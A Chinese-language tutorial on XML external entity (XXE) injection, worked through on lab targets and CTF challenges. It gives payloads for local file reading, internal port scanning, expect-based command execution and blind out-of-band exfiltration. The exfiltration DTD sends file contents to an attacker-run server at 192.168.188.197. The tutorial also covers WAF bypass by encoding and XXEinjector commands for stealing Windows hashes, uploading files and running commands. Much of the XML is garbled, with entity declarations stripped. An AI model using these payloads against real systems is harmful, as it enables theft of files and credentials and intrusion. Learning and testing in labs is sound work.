XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档 类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
libxml2 | PHP | Java | .NET |
---|---|---|---|
file http ftp |
file http ftp php compress.zlib compress.bzip2 data glob phar |
http https ftp file jar netdoc mailto gopher * |
file http https ftp |
开启靶场
DOCTYPE ANY [
]>
<x>&xxe;x>
注意:文件读取的前提是得有读取的文件。
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<x>&wuhu;x>
上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
如果访问的文件不存在,会显示如下图的信息
说明:这种情况实战中一般不容易遇到,因为前提条件比较多,确定内网上存在该文件,并且确定存在该漏洞。还得确定内网上存在该IP地址。
该CASE是在安装expect扩展的PHP环境里执行系统命令
DOCTYPE ANY [
]>
<x>&xxe;x>
id是对于的执行的命令。实战情况比较难碰到。
DOCTYPE test [
%file;
]>
<x>&send;x>
evil2.dtd文件
文件内容如下:
条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
先将靶场的回显代码注释掉
攻击代码:
DOCTYPE test [
%dtd;
%send;
]>
test.dtd:
% send SYSTEM
'http://192.168.188.197/?data=%file;'>"
>
%payload;
上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
开启phpstudy–apache日志
然后进行攻击,无回显,查看日志信息。
解码网站。
CTF XXE
绕过WAF保护的XXE
’ENTITY‘ ’YSTEM‘ ’file‘ 等关键词被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
若http被过滤,可以使用如下进行绕过
DOCTYPE test [
">
%a;
%b;
]>
<test>&hhh;test>
DOCTYPE test [
%a;
]>
DOCTYPE test [
%a;
]>
<test>
&hhh;
test>
DOCTYPE test [
%a;
]>
<test>
&hhh;
test>
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
https://github.com/c0ny1/xxe-lab
使用bp抓取数据包,发现Content-Type参数是application/xml,说明在传输数据的时候采用的是xml语言进行传输的。并且传递的数据中代码的写法也是xml语言的写法。从而就证明了存在XXE漏洞。
Payload:
DOCTYPE Mikasa [
]>
<user><username>&test;username><password>Mikasapassword>user>
将数据包发送到Request模块,然后将攻击的payload复制到指定的位置上,发包即可。
读取文件获取用户名密码
]>
admin;&test; 123456
对读取的内容进行base64解码:
返回页面进行登录。
链接地址
访问页面如下
点击Go!,使用BurpSuite抓取数据包
发现Content-Type的参数是application/json类型的,传递的数据格式是JSON格式的。
那么我们可以修改Content-Type的类型为xml,并提交构造的Payload。
DOCTYPE ANY [
]>
<x>&ss;x>
读取etc下的shadow文件
靶场地址:Vulnhub/XXE Lab: 1。
下载链接:Download (Mirror)。
XXEinjector本身提供了非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。
https://github.com/enjoiz/XXEinjector
https://github.com/enjoiz/XXEinjector/archive/master.zip
--host # 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file # 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path # 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute # 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger # 记录输出结果。
--rhost # 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport # 远程主机的TCP端口信息。(--rport=8080)
--phpfilter # 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc # 使用netdoc协议。(Java).
--enumports # 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes # 窃取运行当前应用程序用户的Windows哈希。
--expect # 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload # 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt # XSLT注入测试。
--ssl # 使用SSL。
--proxy # 使用代理。(--proxy=127.0.0.1:8080)
--httpport # Set自定义HTTP端口。(--httpport=80)
--ftpport # 设置自定义FTP端口。(--ftpport=21)
--gopherport # 设置自定义gopher端口。(--gopherport=70)
--jarport # 设置自定义文件上传端口。(--jarport=1337)
--xsltport # 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test # 该模式可用于测试请求的有效。
--urlencode # URL编码,默认为URI。
--output # 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout # 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout # 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast # 跳过枚举询问,有可能出现结果假阳性。
--verbose # 显示verbose信息。
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
防范XXE攻击,可以采取以下措施: